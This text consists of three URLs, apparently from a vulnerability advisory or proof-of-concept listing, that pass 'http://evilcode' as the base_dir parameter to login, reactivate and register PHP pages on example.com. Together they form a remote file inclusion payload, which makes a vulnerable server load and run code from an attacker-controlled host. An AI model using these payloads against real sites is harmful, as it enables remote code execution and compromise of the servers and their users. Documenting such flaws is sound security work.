http://www.example.com/login.php?base_dir=http://evilcode
http://www.example.com/reactivate.php?base_dir=http://evilcode
http://www.example.com/register.php?base_dir=http://evilcode